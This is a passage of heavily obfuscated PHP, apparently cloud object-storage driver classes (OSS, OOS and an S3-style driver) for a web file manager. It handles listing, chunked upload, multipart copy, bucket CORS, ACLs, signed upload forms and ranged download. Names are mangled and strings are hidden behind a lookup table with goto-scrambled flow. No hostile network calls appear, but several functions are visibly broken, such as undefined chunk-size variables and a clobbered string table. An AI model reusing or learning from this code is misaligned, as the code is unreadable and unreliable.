isset($cȺ[$Bܺ[1254]]) ? $cȺ[$Bܺ[1254]] : $Bܺ[33]; $F؞ = isset($cȺ[$Bܺ[1255]]) ? $cȺ[$Bܺ[1255]] : array(); foreach ($F؞ as $B݈) { if ($B݈[$Bܺ[29]] == $Bܺ[76]) { $a⃹[] = $this->folderInfo($b˽ . $B݈[$Bܺ[28]], $cƞˆ, $B݈); } else { $c҈[] = $this->fileInfo($b˽ . $B݈[$Bܺ[28]], $cƞˆ, $B݈); } } if (count($F؞) < $F) { break; } } goto dԟ; D: } private function recursionAllFiles($f, &$A򏎢) { $eق =& $_SERVER[ѽ]; $a = $eق[33]; $E = 1000; $e = $d = array(); $F = rtrim($f, $eق[8]) . $eق[8]; while (!0) { $D߶ = $this->fileList($f, $a, $E); if (!$D߶) { return !1; } $a = isset($D߶[$eق[1254]]) ? $D߶[$eق[1254]] : $eق[33]; $D = isset($D߶[$eق[1255]]) ? $D߶[$eق[1255]] : array(); foreach ($D as $A؂ϵ) { $F = array($eق[75] => $F . $A؂ϵ[$eق[28]], $eق[76] => $A؂ϵ[$eق[29]] == $eق[76] ? 1 : 0, $eق[77] => isset($A؂ϵ[$eق[322]]) ? $A؂ϵ[$eق[322]] : 0); $A򏎢[] = $F; if ($F[$eق[76]] == 1) { $this->recursionAllFiles($F[$eق[75]], $A򏎢); } } if (count($D) < $E) { break; } } } public function has($a, $Eڰʇǃ = false, $Eъ = true) { goto fߢ; f΂ȵ: while (!0) { $f螯 = $this->fileList($a, $aǪʰӎ, $BÆ͟); if (!$f螯) { return !1; } $aǪʰӎ = isset($f螯[$Cƣ[1254]]) ? $f螯[$Cƣ[1254]] : $Cƣ[33]; $E = isset($f螯[$Cƣ[1255]]) ? $f螯[$Cƣ[1255]] : array(); if (empty($E)) { break; } $e͕ = array_to_keyvalue($E, $Cƣ[33], $Cƣ[29]); $C˄ɢ = array_count_values($e͕); $Bӝ = isset($C˄ɢ[$Cƣ[76]]) ? $C˄ɢ[$Cƣ[76]] : 0; $F = count($e͕) - $Bӝ; if ($Eڰʇǃ) { $aԸ += $Bӝ; $BƔ += $F; if ($D螄 < $BÆ͟) { break; } continue; } if ($Eъ) { if ($F) { return !0; } } else { if ($Bӝ) { return !0; } } if (count($E) < $BÆ͟) { break; } } if ($Eڰʇǃ) { return array($Cƣ[188] => $BƔ, $Cƣ[189] => $aԸ); } return !1; goto b߽솠; aǷƄ: $BƔ = 0; $aԸ = 0; $aɬ´ = rtrim($a, $Cƣ[8]) . $Cƣ[8]; goto f΂ȵ; fߢ: $Cƣ =& $_SERVER[ѽ]; $aǪʰӎ = $Cƣ[33]; $BÆ͟ = 1000; goto aǷƄ; b߽솠: } public function listAll($f胖) { $a⎡ݡ = array(); $this->recursionAllFiles($f胖, $a⎡ݡ); return $a⎡ݡ; } public function canRead($F̼) { return $this->exist($F̼) ? !0 : !1; } public function canWrite($Aߌ) { return $this->exist($Aߌ) ? !0 : !1; } public function getContent($A) { return $this->fileSubstr($A, 0, -1); } public function setContent($AՅ, $d좄 = '') { $e =& $_SERVER[ѽ]; if (!$d좄) { $E訒 = $this->ussRequest($AՅ, $e[209]); return $E訒[$e[1036]]; } $A = $this->tempFile($this->pathThis($AՅ)); file_put_contents($A, $d좄); if ($this->upload($AՅ, $A)) { $this->tempFileRemve($A); return !0; } return !1; } public function fileSubstr($d, $D汕, $E) { $dɢՄ =& $_SERVER[ѽ]; if (!($Eޓ = $this->link($d))) { return !1; } $D舺 = !1; if ($E > 0) { $cͼᎺ = $D汕 + $E - 1; $D舺 = array($dɢՄ[1216] . $D汕 . $dɢՄ[408] . $cͼᎺ); } $cЧ = url_request($Eޓ, $dɢՄ[213], !1, $D舺); return $cЧ[$dɢՄ[699]] ? $cЧ[$dɢՄ[1038]] : !1; } public function upload($E㴓߷, $Bϥ, $Bڄ = false, $eٚ = REPEAT_REPLACE) { goto AĘ; Dᖩ: if (!$c뒣) { return !1; } do { $dڛ؋Б = $aǖ[$Fِ[1262]]; fseek($c뒣, $fأ); $C؜ = fread($c뒣, $dڛ؋Б); $c؂ = 0; do { $c؂++; $aǖ = $this->uploadPart($E㴓߷, $aǖ, $C؜); } while (!$aǖ && $c؂ < 3); if (!$aǖ) { return !1; } $F؉ = $aǖ[$Fِ[1261]]; $fأ += $dڛ؋Б; } while ($F؉ != -1); fclose($c뒣); goto A˦; d: $fأ = 0; $F؉ = $aǖ[$Fِ[1261]]; $c뒣 = fopen($Bϥ, $Fِ[1166]); goto Dᖩ; A˦: $d = array($Fِ[1263], $Fِ[1264] . $aǖ[$Fِ[1265]], $Fِ[1259]); $aძ = $this->ussRequest($E㴓߷, $Fِ[211], !1, $d); return $aძ[$Fِ[1036]] ? $this->getPathOuter($FȭÙ) : !1; goto eЋ; d̔Ә: $dڛ = $this->osChunkSize(); if ($dڛ > 1024 * 1024 * 10) { $dڛ = 1024 * 1024 * 10; } $d = array($Fِ[1257], $Fِ[1258] . $d, $Fِ[1259], $Fِ[1260] . $dڛ); goto F; F: $aძ = $this->ussRequest($E㴓߷, $Fِ[211], !1, $d); if (!$aძ[$Fِ[1036]]) { return !1; } $aǖ = $aძ[$Fِ[1038]]; goto d; AĘ: $Fِ =& $_SERVER[ѽ]; $d = IO::size($Bϥ); if ($d <= 1024 * 1024 * 200) { $Fɾ = array($Fِ[1256] . $Bϥ); $aძ = $this->ussRequest($E㴓߷, $Fِ[211], $Fɾ); return $aძ[$Fِ[1036]] ? $this->getPathOuter($E㴓߷) : !1; } goto d̔Ә; eЋ: } private function uploadPart($b, $CĖ, &$C) { $D =& $_SERVER[ѽ]; $Aδن = array($D[1266], $D[1264] . $CĖ[$D[1265]], $D[1267] . $CĖ[$D[1261]], $D[1268] . $CĖ[$D[1262]]); $fą = $this->ussRequest($b, $D[211], $C, $Aδن); return !$fą[$D[1036]] ? $fą[$D[1036]] : $fą[$D[1038]]; } public function uploadFormData($E탸, $Dȏȏ = 3600) { return $this->uploadPolicy($E탸, $Dȏȏ); } public function multiUploadFormData($fص, $Dլ = 3600) { $a͋ =& $_SERVER[ѽ]; $F҈ = (int) $GLOBALS[$a͋[7]][$a͋[77]]; return $this->uploadPolicy($fص, $Dլ, $F҈); } private function uploadPolicy($c, $bֺ = 3600, $D䖿 = 0) { goto e; e: $B㲲֑ =& $_SERVER[ѽ]; $d = $B㲲֑[8] . $this->bucket; $aݨ = gmdate($B㲲֑[1201]); goto fʄ; fʄ: $fク = array($B㲲֑[1269] => $this->bucket, $B㲲֑[1270] => $c, $B㲲֑[1271] => time() + $bֺ, $B㲲֑[1272] => $aݨ); if ($D䖿) { $fク[$B㲲֑[1187]] = $D䖿; } $b = base64_encode(json_encode($fク)); goto D; D: $a院 = base64_encode(hash_hmac($B㲲֑[1238], "\120\x4f\123\124\x26{$d}\46{$aݨ}\46{$b}", md5("{$this->userpass}"), !0)); $DǴ󨔪 = array($B㲲֑[1109] => $b, $B㲲֑[1273] => "\x55\120\x59\125\x4e\x20{$this->username}\x3a{$a院}", $B㲲֑[166] => $this->endpoint . $d); return $DǴ󨔪; goto B; B: } public function download($A, $CϜ) { goto c܌; c܌: $a = IO::getPathInner(IO::mkfile($CϜ)); if (!($D񜪺 = $this->link($A))) { return !1; } $Bő = 0; goto e; CÏ: fclose($A); return $CϜ; goto dǣ; e: $F = 1024 * 200; $A = fopen($a, $_SERVER[ѽ][1222]); while (!0) { $DԄ = $this->fileSubstr($A, $Bő, $FÂ); if ($DԄ === !1) { return !1; } fwrite($A, $DԄ); $Bő += $FÂ; if (strlen($DԄ) < $FÂ) { break; } } goto CÏ; dǣ: } public function link($cۤ܊, $dӸ = array()) { $c =& $_SERVER[ѽ]; $cۤ܊ = trim($cۤ܊, $c[8]); if (!empty($this->token)) { $E = strtotime(date($c[1274])); $eجڎ = substr(md5($this->token . $c[269] . $E . $c[1275] . $cۤ܊), 12, 8) . $E; $dӸ[] = $c[1276] . $eجڎ; } $B۴ = !empty($dӸ) ? $c[69] . implode($c[269], $dӸ) : $c[33]; return $c[1112] . $this->domain . $c[8] . $cۤ܊ . $B۴; } public function fileOut($Dõ, $Bƪ = false, $aȒ = false, $b = '') { if (!$aȒ) { $aȒ = $this->pathThis($Dõ); } $eݣҐ = $Bƪ ? array($_SERVER[ѽ][1277] . rawurlencode($aȒ)) : array(); $Fʼ = $this->link($Dõ, $eݣҐ); $this->fileOutLink($Fʼ); } public function fileOutServer($C, $C鐈 = false, $eˤ = false, $dҷ = '') { parent::fileOut($C, $C鐈, $eˤ, $dҷ); } public function fileOutImage($bڸ, $A = 250) { $E = $this->link($bڸ . $_SERVER[ѽ][1278] . $A); $this->fileOutLink($E); } public function fileOutImageServer($AȣË, $e騿 = 250) { parent::fileOutImage($AȣË, $e騿); } public function hashMd5($Cߥ܈) { $a겻 =& $_SERVER[ѽ]; $E = $this->objectMeta($Cߥ܈); return isset($E[$a겻[193]]) ? $E[$a겻[193]] : !1; } public function size($C) { $e⵹ = $this->objectMeta($C); return $e⵹ ? $e⵹[$_SERVER[ѽ][77]] : 0; } public function info($EΤ) { if ($this->isFolder($EΤ)) { return $this->folderInfo($EΤ); } else { if ($this->isFile($EΤ)) { return $this->fileInfo($EΤ); } } return !1; } public function exist($a׸) { return $this->isFile($a׸) || $this->isFolder($a׸); } public function isFile($cDŽ) { return !$this->isFolder($cDŽ) && $this->objectMeta($cDŽ); } public function isFolder($f) { return $this->cacheMethod($_SERVER[ѽ][220], $f); } protected function objectMeta($A) { return $this->cacheMethod($_SERVER[ѽ][221], $A); } protected function _objectMeta($C퉭) { goto C届; C届: $d =& $_SERVER[ѽ]; if ($C퉭 == $d[33] || $C퉭 == $d[8]) { return array(); } $B = $this->ussRequest($C퉭, $d[1279]); goto Dĺ; DЪʐ: $Eͥ = array($d[28] => get_path_this($C퉭), $d[29] => isset($Dب[$d[1280]]) ? $Dب[$d[1280]] : null, $d[77] => isset($Dب[$d[1281]]) ? $Dب[$d[1281]] : null, $d[193] => isset($Dب[$d[1282]]) ? $Dب[$d[1282]] : null, $d[1249] => isset($Dب[$d[1283]]) ? $Dب[$d[1283]] : null); $Eͥ[$d[1250]] = isset($Dب[$d[1284]]) ? strtotime($Dب[$d[1284]]) : $Eͥ[$d[1249]]; return $Eͥ; goto e; Dĺ: if (!$B[$d[1036]]) { return null; } $Dب = isset($B[$d[1038]]) ? $B[$d[1038]] : array(); if (!isset($Dب[$d[1280]])) { return null; } goto DЪʐ; e: } protected function _isFolder($F) { $aॶ =& $_SERVER[ѽ]; if ($F == $aॶ[33] || $F == $aॶ[8]) { return !0; } $cƟ = $this->objectMeta($F); return isset($cƟ[$aॶ[29]]) && $cƟ[$aॶ[29]] == $aॶ[76] ? !0 : !1; } } goto bÅ; E: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($aˡ) { parent::__construct($aˡ); $this->signatureVersion($_SERVER[ѽ][197]); } public function fileOutLink($FŊ) { $E =& $_SERVER[ѽ]; if (substr($FŊ, 0, 7) == $E[1112]) { $FŊ = $E[1113] . substr($FŊ, 7); } header($E[153] . $FŊ); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public function __construct($c󪈡) { parent::__construct(); include_once SDK_DIR . $_SERVER[ѽ][1167]; $this->_init($c󪈡); } public function _init($A΄) { foreach ($A΄ as $DΣ٤ => $F̮) { if (isset($this->{$DΣ٤})) { $this->{$DΣ٤} = $F̮; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { show_json($_SERVER[ѽ][1168], !1); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { goto e; C▙: $Aώ->addRule($cēԓ); try { $this->client->putBucketCors($this->bucket, $Aώ); } catch (OSS\Core\OssException $f) { return !1; } return !0; goto c; c슢: $cēԓ->addAllowedMethod($F[1172]); $cēԓ->addAllowedMethod($F[1173]); $cēԓ->addAllowedMethod($F[152]); goto a; a: $cēԓ->setMaxAgeSeconds(600); $cēԓ->addExposeHeader($F[1174]); $cēԓ->addAllowedHeader($F[1169]); goto C▙; e: $F =& $_SERVER[ѽ]; $Aώ = new OSS\Model\CorsConfig(); $cēԓ = new OSS\Model\CorsRule(); goto Eԗݡ; Eԗݡ: $cēԓ->addAllowedOrigin($F[1169]); $cēԓ->addAllowedMethod($F[1170]); $cēԓ->addAllowedMethod($F[1171]); goto c슢; c: } public function getBucketCors() { goto Ē; A: if (!$cִӉ || !($Cͼ = $cִӉ->getRules())) { return null; } $aߍ = $Cͼ[0]->getAllowedOrigins(); $eɽ = $Cͼ[0]->getAllowedMethods(); goto b™Խ; b™Խ: $D􅫫 = $Cͼ[0]->getMaxAgeSeconds(); $Dķ = $Cͼ[0]->getExposeHeaders(); $Eκ = $Cͼ[0]->getAllowedHeaders(); goto Aҩ; Ē: $Aةц =& $_SERVER[ѽ]; $cִӉ = null; try { $cִӉ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $eϛӇͬ) { return null; } goto A; Aҩ: return array($Aةц[172] => isset($aߍ[0]) ? $aߍ[0] : $Aةц[33], $Aةц[176] => $eɽ, $Aةц[1175] => $D􅫫, $Aةц[1176] => isset($Dķ[0]) ? $Dķ[0] : $Aةц[33], $Aةц[174] => isset($Eκ[0]) ? $Eκ[0] : $Aةц[33]); goto F; F: } public function isBucketCors() { goto Bԝ; Bԝ: $A =& $_SERVER[ѽ]; $E = $this->getBucketCors(); if (!$E || !is_array($E)) { return !1; } goto BבÂ; BבÂ: if ($E[$A[172]] != $A[173] || $E[$A[174]] != $A[173]) { return !1; } $Cﶨ = array_map($A[175], $E[$A[176]]); if (!is_array($Cﶨ)) { $Cﶨ = array(); } goto Aޞ; Aޞ: $AŘฃ = array($A[177], $A[178], $A[179], $A[180], $A[181]); $e = array_diff($AŘฃ, $Cﶨ); return empty($e); goto Cѯ; Cѯ: } public function mkfile($D, $F = '', $Cʭ˜ = REPEAT_RENAME) { $E = $this->setContent($D, $F); if ($E !== !1) { return $this->getPathOuter($D); } return !1; } public function mkdir($b, $d = REPEAT_SKIP) { if ($this->_isFolder($b)) { return $this->getPathOuter($b); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($b)); } catch (OSS\Core\OssException $d) { return !1; } return $this->getPathOuter($b); } private function fileList($D, $a·ΰ = '', $f÷ = 0) { goto cǽ; cǽ: $DӐ =& $_SERVER[ѽ]; $D = trim($D, $DӐ[8]); $d = empty($D) ? $DӐ[33] : $D . $DӐ[8]; goto bLJ҃; bLJ҃: $AԢ = $DӐ[33]; $C = 1000; $Bޖ = $eُ˧ = array(); goto BԔ; BԔ: while (!0) { $f端 = array($DӐ[1177] => $a·ΰ, $DӐ[183] => $d, $DӐ[1178] => $C, $DӐ[1179] => $AԢ); try { $Cڇ = $this->client->listObjects($this->bucket, $f端); } catch (OSS\Core\OssException $C҅) { break; } $AԢ = $Cڇ->getNextMarker(); $eԛ = $Cڇ->getObjectList(); $fĢݴ = $Cڇ->getPrefixList(); foreach ($eԛ as $E) { if ($E->getKey() == $d) { continue; } $Eݓ = $E->getKey(); if ($f÷) { $Eݓ = array($DӐ[28] => $Eݓ, $DӐ[77] => $E->getSize(), $DӐ[187] => strtotime($E->getLastModified())); } $eُ˧[] = $Eݓ; } foreach ($fĢݴ as $fϏ) { $Bޖ[] = $fϏ->getPrefix(); } if ($AԢ === $DӐ[33]) { break; } } return array($DӐ[74] => $Bޖ, $DӐ[73] => $eُ˧); goto D; D: } public function copyFile($F, $a䂄) { $Eߔʄ = $this->size($F); if ($Eߔʄ < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $F, $this->bucket, $this->pathEncode($a䂄)); } catch (OSS\Core\OssException $cȋ) { return !1; } return !0; } return $this->multiCopyObject($F, $a䂄, $Eߔʄ); } private function multiCopyObject($D☥, $B됃˾, $fߚ) { $b֎ =& $_SERVER[ѽ]; try { goto B; B: $C = array(); if ($Eޠ = $this->hashMd5($D☥)) { $C = array(OSS\OssClient::OSS_HEADERS => array($b֎[1180] => $Eޠ)); } $Eʜ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($B됃˾), $C); goto c; bՂ: $cܻ̐ = array(); foreach ($B䙇 as $e⤈ => $C߉) { $cܻ̐[] = array($b֎[1184] => $e⤈ + 1, $b֎[1185] => $C߉); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($B됃˾), $Eʜ, $cܻ̐); goto BͰ; e߱: $F = $this->osChunkSize(); $C = $this->client->generateMultiuploadParts($fߚ, $F); foreach ($C as $e⤈ => $e؇) { $f = $E + (int) $e؇[$b֎[1181]]; $dޏݱ = (int) $e؇[$b֎[322]] + $f - 1; $f壏 = array($b֎[1182] => $f, $b֎[1183] => $dޏݱ); $B䙇[] = $this->client->uploadPartCopy($this->bucket, $D☥, $this->bucket, $this->pathEncode($B됃˾), $Aϟ, $Eʜ, $f壏); $Aϟ = $Aϟ + 1; } goto bՂ; c: $Aϟ = 1; $E = 0; $B䙇 = array(); goto e߱; BͰ: } catch (OSS\Core\OssException $EĠ) { return !1; } return !0; } public function moveFile($e, $a) { if ($this->copyFile($e, $a)) { $this->remove($e); return !0; } return !1; } public function delFile($cݏ) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($cݏ)); } catch (OSS\Core\OssException $AԞ) { return !1; } return !0; } public function delFolder($Cȑ) { $EՉɤ =& $_SERVER[ѽ]; $d΂ = $this->fileList($Cȑ); if (!empty($Cȑ) && !in_array(trim($Cȑ, $EՉɤ[8]) . $EՉɤ[8], $d΂[$EՉɤ[73]])) { $d΂[$EՉɤ[73]][] = trim($Cȑ, $EՉɤ[8]) . $EՉɤ[8]; } foreach (array_chunk($d΂[$EՉɤ[73]], 1000) as $fϩ) { try { $this->client->deleteObjects($this->bucket, $fϩ); } catch (OSS\Core\OssException $Dب) { continue; } } return !0; } public function rename($fڌ, $dⓚ) { return $this->renameObject($fڌ, $dⓚ); } private function fileInfo($C, $a = array()) { goto e; A߅: if (isset($a[$f[77]])) { $cҎ[$f[77]] = $a[$f[77]]; } if (isset($a[$f[107]])) { $cҎ[$f[107]] = $a[$f[107]]; } if (isset($a[$f[187]]) && !trim($cҎ[$f[107]])) { $cҎ[$f[107]] = $a[$f[187]]; } goto d툚; e: $f =& $_SERVER[ѽ]; $cҎ = array($f[28] => $this->pathThis($C), $f[75] => $this->getPathOuter($C), $f[29] => $f[164], $f[184] => 0, $f[107] => 0, $f[77] => 0, $f[157] => $this->ext($C), $f[185] => !0, $f[186] => !0); if (empty($a)) { $C = $this->objectMeta($C); if (!$C) { return $cҎ; } $a = array($f[107] => strtotime($C[$f[1186]]), $f[77] => $C[$f[1187]] + 0); } goto A߅; d툚: return $cҎ; goto Eɑ¢; Eɑ¢: } private function folderInfo($e, $cƉ = array()) { $D =& $_SERVER[ѽ]; $CɃŇ = array($D[28] => $this->pathThis($e), $D[75] => $this->getPathOuter($D[8] . $e), $D[29] => $D[76], $D[184] => 0, $D[107] => 0, $D[185] => !0, $D[186] => !0); if (empty($cƉ)) { $e = rtrim($e, $D[8]) . $D[8]; $CDŽ = $this->objectMeta($e); if (!$CDŽ) { return $CɃŇ; } $cƉ = array($D[184] => $CDŽ[$D[1188]][$D[1189]], $D[107] => strtotime($CDŽ[$D[1186]])); } if (isset($cƉ[$D[107]])) { $CɃŇ[$D[107]] = $cƉ[$D[107]]; } if (isset($cƉ[$D[184]])) { $CɃŇ[$D[184]] = $cƉ[$D[184]]; } return $CɃŇ; } public function listPath($D, $D륺 = false) { $d˖ =& $_SERVER[ѽ]; $f = $this->fileList($D, $d˖[8], !0); foreach ($f[$d˖[74]] as $Fןɦ => $Cі) { $f[$d˖[74]][$Fןɦ] = $this->folderInfo($Cі, $Cі); } foreach ($f[$d˖[73]] as $Fןɦ => $Cі) { $f[$d˖[73]][$Fןɦ] = $this->fileInfo($Cі[$d˖[28]], $Cі); } return $f; } public function has($C͝, $Bą = false, $B굅 = true) { goto DÄ; B: return !1; goto a; d⯆: $Dٶ = 0; while (!0) { $aǴæ = array($c²[1177] => $c²[8], $c²[183] => $A̴, $c²[1178] => $fۑ, $c²[1179] => $aԌ); try { $e = $this->client->listObjects($this->bucket, $aǴæ); } catch (OSS\Core\OssException $Bɲ) { break; } $aԌ = $e->getNextMarker(); $A = $e->getObjectList(); $A曉 = $e->getPrefixList(); if ($Bą) { if (count($A) > 1 || count($A) == 1 && $A[0]->getKey() != $A̴) { $a‰ += count($A) - 1; } if (!empty($A曉)) { $Dٶ += count($A曉); } if ($aԌ === $c²[33]) { break; } continue; } if ($B굅) { if (!empty($A)) { if (count($A) > 1 || $A[0]->getKey() != $A̴) { return !0; } } } else { if (!empty($A曉)) { return !0; } } if ($aԌ === $c²[33]) { break; } } if ($Bą) { return array($c²[188] => $a‰, $c²[189] => $Dٶ); } goto B; Eˍ: $aԌ = $c²[33]; $fۑ = 500; $a‰ = 0; goto d⯆; DÄ: $c² =& $_SERVER[ѽ]; $C͝ = trim($C͝, $c²[8]); $A̴ = empty($C͝) ? $c²[33] : $C͝ . $c²[8]; goto Eˍ; a: } public function listAll($D) { $FԏÎ =& $_SERVER[ѽ]; $cê = $this->fileList($D, $FԏÎ[33], !0); $dΌ = array(); foreach ($cê[$FԏÎ[73]] as $d񐃔Ҹ) { $dΌ[$d񐃔Ҹ[$FԏÎ[28]]] = $d񐃔Ҹ[$FԏÎ[77]]; } return $this->listAllFiles($D, array_keys($dΌ), $dΌ); } public function canRead($F׈) { $dԉő =& $_SERVER[ѽ]; $Eړ = $this->pathAcl($F׈); return $Eړ == $dԉő[1190] || $Eړ == $dԉő[487] ? !0 : !1; } public function canWrite($FƢϴ) { $e = $this->pathAcl($FƢϴ); return $e == $_SERVER[ѽ][487] ? !0 : !1; } public function pathAcl($fү) { goto bӫب; D҂: return $dظٍ; goto Dʈ; d: $dظٍ = $c == $Cޒț[34] ? $this->bucketAcl : $c; if ($dظٍ == $Cޒț[1191]) { return $Cޒț[1190]; } if ($dظٍ == $Cޒț[1192]) { return $Cޒț[487]; } goto D҂; bӫب: $Cޒț =& $_SERVER[ѽ]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $c = $this->client->getObjectAcl($this->bucket, $this->pathEncode($fү)); } catch (OSS\Core\OssException $eӒ͔) { return !1; } goto d; Dʈ: } private function chmodPath($A, $Adz = '') { $Cↆɣ =& $_SERVER[ѽ]; $A = empty($Adz) ? $Cↆɣ[1192] : $Adz; $Cᆒޒ = array($Cↆɣ[34], $Cↆɣ[182], $Cↆɣ[1191], $Cↆɣ[1192]); if (!in_array($A, $Cᆒޒ)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($A), $A); } catch (OSS\Core\OssException $cی) { return !1; } return !0; } public function getContent($Eą) { return $this->fileSubstr($Eą, -1); } public function setContent($cĵձ, $f̟ = '') { $c䉲ޝ =& $_SERVER[ѽ]; try { $A = $this->trafficLimit($c䉲ޝ[1193]); $A = $this->client->putObject($this->bucket, $this->pathEncode($cĵձ), $f̟, $A); } catch (OSS\Core\OssException $Aɼ) { return !1; } $d = array($c䉲ޝ[1180] => trim($A[$c䉲ޝ[1194]], $c䉲ޝ[113]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($cĵձ))); $this->updateObjMeta($cĵձ, $d); return isset($A[$c䉲ޝ[1195]][$c䉲ޝ[1142]]) ? (int) $A[$c䉲ޝ[1195]][$c䉲ޝ[1142]] : strlen($A); } private function updateObjMeta($e҆, $d丕ܰ) { $e҆ = $this->pathEncode($e҆); try { $dۉѴ = array(OSS\OssClient::OSS_HEADERS => $d丕ܰ); $this->client->copyObject($this->bucket, $e҆, $this->bucket, $e҆, $dۉѴ); } catch (OSS\Core\OssException $aĤݱ) { return !1; } return !0; } public function upload($A, $DЦ, $d將 = false, $aɣ = REPEAT_REPLACE) { $E榉Ӫ =& $_SERVER[ѽ]; $eұ = trim($A, $E榉Ӫ[8]); $C۳֩ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => $this->osChunkSize(), OSS\OssClient::OSS_HEADERS => array($E榉Ӫ[1180] => @md5_file($DЦ)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($A))); $C۳֩ = $this->trafficLimit($E榉Ӫ[1193], $C۳֩); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($eұ), $DЦ, $C۳֩); } catch (OSS\Core\OssException $A͎) { return !1; } return $this->getPathOuter($A); } public function getHost() { $f =& $_SERVER[ѽ]; $b̓ = explode($f[168], parent::getHost()); return $b̓[0] . $f[168] . $this->bucket . $f[93] . $b̓[1]; } public function uploadFormData($c휇, $C = 3600) { goto e왂՝; Eߴ: $b = $this->pathFather($c휇); $eߟ = array($C[1099] => $dק, $C[1100] => array(array($C[1198], 0, $Cޡ), array($C[1103], $C[1104], $b))); $F = base64_encode(json_encode($eߟ)); goto dỉ߷; a׶ד: $B棍 = date($C[1196], time() + $C); $a߶ = new DateTime($B棍); $dק = $a߶->format(DateTime::ISO8601); goto c͕; e왂՝: $C =& $_SERVER[ѽ]; if (!($C = $this->getHost())) { return !1; } $C = $C; goto a׶ד; dỉ߷: $F׉ = base64_encode(hash_hmac($C[215], $F, $this->secret, !0)); $b؞ޏ = array($C[1109] => $F, $C[1199] => $this->accessKey, $C[1105] => $C[1097], $C[1200] => $F׉, $C[166] => $C); $b؞ޏ = $this->trafficLimit($C[1193], $b؞ޏ); goto cɤ; c͕: $f鋽 = strpos($dק, $C[281]); $dק = substr($dק, 0, $f鋽) . $C[1197]; $Cޡ = 1048576000 * 5; goto Eߴ; cɤ: return $b؞ޏ; goto f߱춒; f߱춒: } public function multiUploadFormData($C飙, $ä = 3600) { $Bユ =& $_SERVER[ѽ]; if (!($eʓ = $this->getHost())) { return !1; } $D = $this->trafficLimit($Bユ[1193]); $B = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($C飙), $D); return array($Bユ[206] => $B, $Bユ[166] => $eʓ . $Bユ[8] . $this->pathEncode($C飙), $Bユ[207] => gmdate($Bユ[1201]), $Bユ[89] => $C飙); } public function multiUploadAuthData($EՏ, $b = array()) { goto că; D눗㗼: $DŤ = $C[1204] . $this->accessKey . $C[4] . $f; if (strpos($cܢ獩, $C[210]) === 0) { $DŤ = array($C[217] => $DŤ, $C[207] => $Eʼn); if ($Bʱ) { $DŤ = array_merge($DŤ, $Bʱ); } } return $DŤ; goto AҴ; Dോ: $Cč = $EՏ; if (isset($b[$C[89]])) { $Cč = $b[$C[89]]; unset($b[$C[89]]); } if (isset($b[$C[208]])) { $b[$C[207]] = $Eʼn; return $this->listUploadParts($Cč, $b); } goto c臂; că: $C =& $_SERVER[ѽ]; $Eʼn = isset($b[$C[207]]) ? $b[$C[207]] : gmdate($C[1201]); $cܢ獩 = isset($b[$C[157]]) ? $b[$C[157]] : $C[33]; goto Dോ; c臂: $aߴ = array($C[209], $C[33], $C[116], $Eʼn, "\x78\55\157\163\163\x2d\144\x61\164\x65\x3a{$Eʼn}", $C[8] . $this->bucket . $C[8] . $Cč . $cܢ獩); if (strpos($cܢ獩, $C[210]) === 0) { $aߴ[0] = $C[211]; if ($Bʱ = $this->trafficLimit($C[1193])) { $Cč = $C[1202]; array_splice($aߴ, 5, 0, $Cč . $C[4] . $Bʱ[$Cč]); } } if (isset($b[$C[212]]) && $b[$C[212]] == $C[213]) { $aߴ[0] = $C[213]; } goto E޲; E޲: if (!empty($b[$C[1203]])) { $Bݛ = array_merge(array($aߴ[4]), $b[$C[1203]]); sort($Bݛ); $aߴ[4] = implode($C[214], $Bݛ); } $e˃ = implode($C[214], $aߴ); $f = base64_encode(hash_hmac($C[215], $e˃, $this->secret, !0)); goto D눗㗼; AҴ: } public function listUploadParts($BɄ, $eۦ) { goto B˒; Bޓ: return array($B[217] => $dϟ, $B[207] => $eۦ[$B[207]], $B[219] => $b); goto dѩߔ; B˒: $B =& $_SERVER[ѽ]; $Cޅԝ = parse_url_query($eۦ[$B[157]]); $B = $this->client->listParts($this->bucket, $this->pathEncode($BɄ), $Cޅԝ[$B[206]]); goto dĬޟ; Fκ: unset($eۦ[$B[208]], $eۦ[$B[212]]); $dϟ = $this->multiUploadAuthData($BɄ, $eۦ); if (empty($dϟ)) { return !1; } goto Bޓ; dĬޟ: $fø = $B->getListPart(); $b = array(); foreach ($fø as $Aᇈ) { $b[] = array($B[1184] => $Aᇈ->getPartNumber(), $B[1185] => trim($Aᇈ->getETag(), $B[113])); } goto Fκ; dѩߔ: } public function download($aƼʹи, $c) { if ($this->isFolder($aƼʹи)) { return !1; } try { $d = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $c); $d = $this->trafficLimit($_SERVER[ѽ][105], $d); $this->client->getObject($this->bucket, $this->pathEncode($aƼʹи), $d); } catch (OSS\Core\OssException $dÄ) { return !1; } return $c; } public function fileSubstr($D뱪Ή, $e󓧎 = 0, $C볇 = false) { if ($e󓧎 === -1) { $Dό = array(); } else { if ($C볇 === !1) { $aǫ = $this->size($D뱪Ή); } else { $aǫ = $e󓧎 + $C볇 - 1; } $Dό = array(OSS\OssClient::OSS_RANGE => "{$e󓧎}\55{$aǫ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($D뱪Ή), $Dό); } catch (OSS\Core\OssException $Bț) { think_exception($Bț->getMessage()); return !1; } } private function trafficLimit($B, $E̦ = array()) { goto D; D: $Bƈ =& $_SERVER[ѽ]; if ($B == 